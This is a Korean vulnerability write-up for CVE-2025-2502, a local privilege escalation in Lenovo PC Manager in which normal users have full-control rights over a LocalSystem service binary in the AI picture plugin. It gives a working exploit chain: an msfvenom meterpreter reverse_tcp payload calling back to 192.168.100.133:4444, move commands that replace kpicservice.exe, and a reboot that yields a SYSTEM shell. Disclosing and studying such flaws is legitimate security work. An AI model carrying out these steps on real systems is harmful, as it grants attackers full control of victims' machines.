CVE-2025-2502

로컬 권한 상승을 공부하던 중 우연히 발견했다.

Lenovo PC Manager의 모든 버전에서 Lenovo PC Manager의 도구에는 권한 결함이 존재한다. 다운로드한 도구라면 일반 사용자가 F 권한(완전 권한)을 가진다.

모든 버전의 도구에 권한 문제가 존재하므로 일반 사용자가 admin 권한에 들어갈 수 있다. 여기서는 AI 看图 플러그인으로 시연한다. 이 플러그인은 system 권한 서비스를 가지고 있어 system으로 승격할 수 있다. 5.1.100.1102 이전에는 Lenovo PC Manager에 AI 看图 플러그인이 존재했다.

AI 看图 플러그인을 설치하면 지속형 서비스가 하나 존재한다.

C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

icacls를 사용하여 해당 파일의 권한을 확인한다.

일반 Users 권한이 I F(완전 권한)임을 발견했다. 일반 사용자를 하나 생성한다.

공격자의 관점으로 전환하면, Administrators 사용자 그룹이 로그인되어 있지 않은 상태에서는 모든 사용자를 로그오프해야 한다. 그런 다음 user1 사용자로 로그인하여 sc로 서비스를 확인하면 해당 서비스의 사용자가 LocalSystem이다.

sc qc KPICService_Lenovo

여기서 C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe가 바로 일반 사용자가 완전 제어 권한을 가진 파일이다.

그러나 제약 때문에 이 서비스가 파일을 계속 점유하므로, 일반 사용자가 종료하려면 admin 권한이 필요하다.

다른 접근 방식을 시도해 보자: 일반 사용자가 완전 제어 권한을 가지고 있으므로, 일반 사용자가 파일을 이동시키면 재시작 시 서비스는 구성 경로를 읽고 여전히 LocalSystem 권한으로 kpicservice.exe를 실행한다.

이제 실습을 시작한다. 먼저 kpicservice.exe를 생성한다.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe

동시에 원본 파일 경로의 파일을 이동시키고, 셸로 원본 파일의 kpicservice.exe를 교체한다.

move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

이때 장치를 다시 재시작하면 서비스는 경로에 있는, 즉 교체된 kpicservice를 시작하며 system 권한을 획득한다.